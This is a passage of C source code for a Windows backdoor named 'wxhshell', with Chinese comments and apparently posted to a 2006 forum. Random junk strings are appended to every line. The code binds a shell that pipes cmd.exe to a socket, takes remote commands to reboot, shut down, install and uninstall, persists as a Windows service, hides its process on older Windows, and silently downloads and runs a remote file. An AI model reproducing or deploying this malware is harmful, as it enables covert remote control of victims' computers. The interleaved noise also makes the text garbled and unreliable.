  // 帮助 Z/#_Swv  
  case '?': { tE7jTe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yn4T!r "  
    break; =)[m[@,c  
  } Q`ua9oIJ=  
  // 安装 Kg[OUBv  
  case 'i': { nw+~:c  
    if(Install()) A6N6e\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/;;zc  
    else F"@%7xy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{Zb/}k-  
    break; e~o!Qm  
    } N9e'jM>Oos  
  // 卸载 q2qi~}l  
  case 'r': { g{8RPw]  
    if(Uninstall()) oaY_6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oxwbq=a6yV  
    else BQ@7^E[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @IT[-d  
    break; g9_zkGc7  
    } _Cmmx`ln  
  // 显示 wxhshell 所在路径 ]ss[n.T0*  
  case 'p': { eA/n.V$z  
    char svExeFile[MAX_PATH]; ewZ?+G+m  
    strcpy(svExeFile,"\n\r"); [BWq9uE  
      strcat(svExeFile,ExeFile); rPV Q#iB  
        send(wsh,svExeFile,strlen(svExeFile),0); ]g_VPx"  
    break; D31X {dJ  
    } uZqL'l+/y  
  // 重启 |LHJRP-Z  
  case 'b': { @= -(H<0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o2/:e  
    if(Boot(REBOOT)) =C"[o\]VV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i2F7O"f.  
    else { q t"D!S_  
    closesocket(wsh); -t`kb*O3`  
    ExitThread(0); o+A7hBM^  
    } 8fC4j`!  
    break; VUb>{&F[  
    } L*@`i ]jl  
  // 关机 5{ c;I<0  
  case 'd': { fPR_ 3qgQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dkQ4D2W*\  
    if(Boot(SHUTDOWN)) wi(Y=?=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #mxOwvJ  
    else { _&<n'fK[  
    closesocket(wsh); s :vNr@TS  
    ExitThread(0); inh0p^  
    } I!x.bp~V!  
    break; Q$%apL  
    } -Q WvB  
  // 获取shell bJ d| mm/v  
  case 's': { F O!Td  
    CmdShell(wsh); <Ap_#  
    closesocket(wsh); `Os=cMR  
    ExitThread(0); g4K+AK  
    break; r\NqY.U&  
  } GQ2GcX(E(  
  // 退出 ?N#I2jxaD  
  case 'x': { 727#7Bo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f:o.[4p2  
    CloseIt(wsh); ah>c)1DA*H  
    break; #bOv}1,s  
    } c%&,(NJ]K  
  // 离开 ]'.qRTz'\t  
  case 'q': { ]RVu[k8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N$fP\h^AR  
    closesocket(wsh); !:{Qbv&T  
    WSACleanup(); H2X_W Swm  
    exit(1); <=(K'eqC^  
    break; r!r08y f  
        } ]U?nYppV  
  } JrP`u4f_  
  } A95f!a  
qe]D4K8`Q3  
  // 提示信息 B'Yx/c&n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RdCGK?s  
} u>XXKlW:  
  } ~OD6K`s3  
c`E>7Hjr-  
  return; mnt&!X4<  
} .k#PrT1C  
oj8r*  
// shell模块句柄 K1 f1 T  
int CmdShell(SOCKET sock) R|?n  
{ gS(3m_  
STARTUPINFO si; j.M]F/j  
ZeroMemory(&si,sizeof(si)); Et6j6gmif  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~d*Q{v~3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 01(U)F\  
PROCESS_INFORMATION ProcessInfo; '5}hm1,  
char cmdline[]="cmd"; #  X (2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fe8X@63  
  return 0; 4LSs WO<@  
} }T_"Vg q  
'o='Q)Dk  
// 自身启动模式 5BrN uR$  
int StartFromService(void) \`.v8C>vG  
{ 1^_W[+<S/  
typedef struct &dB@n15'A  
{ f2.=1)u.  
  DWORD ExitStatus; ("`"?G  
  DWORD PebBaseAddress; 2)EqqX[D  
  DWORD AffinityMask; FH</[7f;@N  
  DWORD BasePriority; ,Uh^e]pC  
  ULONG UniqueProcessId; b>5* G1  
  ULONG InheritedFromUniqueProcessId; 6AIqoX*p  
}   PROCESS_BASIC_INFORMATION; yp~z-aRa  
lhM5a \  
PROCNTQSIP NtQueryInformationProcess; @tT`s^e  
W@!qp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ 5d^ C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8Hq4ppC  
hy/ g*>  
  HANDLE             hProcess; X#1WzWk '  
  PROCESS_BASIC_INFORMATION pbi; j32*9  
CG uuadNI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +B{u,xgg  
  if(NULL == hInst ) return 0; "Lvk?k )hx  
z/#,L!Z3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \LUW?@gLa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7,)E1dx -V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +<$(ez  
rzdQLan  
  if (!NtQueryInformationProcess) return 0; "9s}1C;Me  
ts=D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ztk%uc8_lM  
  if(!hProcess) return 0; y/@Bhzc  
aj|3(2;Kp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @l3&vt2=J  
<\nM5-wR  
  CloseHandle(hProcess); e"1mdw"  
'!$ QI@@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sudh=_+>  
if(hProcess==NULL) return 0; ,7$&gx>2&  
H/t0#  
HMODULE hMod; U| yt   
char procName[255]; !UT!PX)  
unsigned long cbNeeded; P|1  D6  
 Ju5Dd\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xJ#O|7N  
{pQ8/Af!  
  CloseHandle(hProcess); uv5NqL&  
NXLb'mH~  
if(strstr(procName,"services")) return 1; // 以服务启动 zvN7aG  
(]k Q9}8  
  return 0; // 注册表启动 uf]wX(*<k  
} 2cu2S"r  
51% Rk,/o  
// 主模块  irh Z  
int StartWxhshell(LPSTR lpCmdLine) .`*;AT  
{ &n]v  
  SOCKET wsl; J<NpA(@^  
BOOL val=TRUE; r}Vr_  
  int port=0; Mmgm6{  
  struct sockaddr_in door; alxIc.[  
"4KyJ;RA*  
  if(wscfg.ws_autoins) Install(); Rhlm  
Yq/vym-O5  
port=atoi(lpCmdLine); p  Dg!Cs  
zp4@T)  
if(port<=0) port=wscfg.ws_port; s o: o b}  
zn'Mi:O'p  
  WSADATA data; 3p-SpUvp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j!L7r'AV5  
\k$cg~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @Nm{H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dd OK&  
  door.sin_family = AF_INET; 0LGHSDb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =C#z Px,  
  door.sin_port = htons(port); 7u1o>a %9  
?y%Mm09  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XYV`[,^h&  
closesocket(wsl); TJcHqzcUc  
return 1; 6."|m+D  
} }WR@%)7ay  
V[8!ymi0  
  if(listen(wsl,2) == INVALID_SOCKET) { 5s0`T]X-  
closesocket(wsl); C9Cl$yZ  
return 1; 1JS5 LS  
} J,h'eY5  
  Wxhshell(wsl); lBG5~<NT  
  WSACleanup(); C-:|A* z  
C:!&g~{cKi  
return 0; *yg`V,C  
wO%617Av  
} ju.`c->k"  
1[Q~&QC  
// 以NT服务方式启动 Kk% I N9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UOe@R|79q  
{ `y"a>gHC  
DWORD   status = 0; 7&dF=/:X@  
  DWORD   specificError = 0xfffffff; x` 4|^ u  
}Zp[f6^Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pfMmDl5|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xM&`>`;^e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <UW-fI)X  
  serviceStatus.dwWin32ExitCode     = 0; f1\mE~#}  
  serviceStatus.dwServiceSpecificExitCode = 0; M\08 7k  
  serviceStatus.dwCheckPoint       = 0; e9F+R@8  
  serviceStatus.dwWaitHint       = 0; PTF|"^k+   
pW<l9W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z%{`j!!p  
  if (hServiceStatusHandle==0) return; oPxh+|0?  
LD;! s  
status = GetLastError(); q' t"  
  if (status!=NO_ERROR) @ +>>TGC  
{ tv9 R$-cJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; . N5$s2t  
    serviceStatus.dwCheckPoint       = 0; 7$kTeKiP  
    serviceStatus.dwWaitHint       = 0; *Fd(  
    serviceStatus.dwWin32ExitCode     = status; 1:Raa5  
    serviceStatus.dwServiceSpecificExitCode = specificError; {>yy3(N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E**Hu9  
    return; g|{Ru  
  } na|23jz4  
9'O@8KB_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c*V/2" 5  
  serviceStatus.dwCheckPoint       = 0; E`q)vk   
  serviceStatus.dwWaitHint       = 0; 3Q#3S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {u$<-W-&  
} WQNFHRfO*n  
s&W^?eKr  
// 处理NT服务事件,比如:启动、停止 fp$U%uj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p=dM2>  
{ Mir( }E  
switch(fdwControl) (7|!%IO.  
{ .#Lu/w' -M  
case SERVICE_CONTROL_STOP: X> V`)  
  serviceStatus.dwWin32ExitCode = 0; 6P`!yBAu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uclta  
  serviceStatus.dwCheckPoint   = 0; d?jzh 1  
  serviceStatus.dwWaitHint     = 0; GOY!()F  
  { cx+%lco!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |EP=<-|  
  } (+.R8  
  return; ga|-~~  
case SERVICE_CONTROL_PAUSE: Vdb X4^V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l7S&s&W @  
  break; jGKI|v4U(  
case SERVICE_CONTROL_CONTINUE: 82w=t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,M9Hdm  
  break; cD9axlJ  
case SERVICE_CONTROL_INTERROGATE: 'zx1kq1  
  break; hWiBLip,z  
}; iR{*X E   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6$\'dkufQ  
} 2~!+EH  
L[}Ak1 A  
// 标准应用程序主函数 V?-OI>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q|nGY:98  
{ =.6JvX<d1*  
$w ,^q+  
// 获取操作系统版本 ~d&W;mef-  
OsIsNt=GetOsVer(); gP>`DPgb^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K`twbTU  
Nr0}*8#j  
  // 从命令行安装 oTxE]a,  
  if(strpbrk(lpCmdLine,"iI")) Install(); -i"?2gK  
~cW,B}  
  // 下载执行文件 *ta?7uSiT  
if(wscfg.ws_downexe) { MI|anM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) //- ;uEO  
  WinExec(wscfg.ws_filenam,SW_HIDE); Et+WLQ6)  
} bv4G!21]*;  
vuNq7V*}  
if(!OsIsNt) { oC1Nfc+  
// 如果时win9x,隐藏进程并且设置为注册表启动 TCetd#;R  
HideProc(); U|)CZcM  
StartWxhshell(lpCmdLine); "'*w_H0  
}  j#YPo  
else NmZowh$M  
  if(StartFromService()) S3.76&  
  // 以服务方式启动 Z-rHYfa4  
  StartServiceCtrlDispatcher(DispatchTable); .u$o^; z!  
else @_C?M5v  
  // 普通方式启动 B0"55g*c  
  StartWxhshell(lpCmdLine); y:ad%,. C  
5 p! rZ  
return 0; oVja$;>  
}
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只看该作者 1 发表于: 2006-10-10
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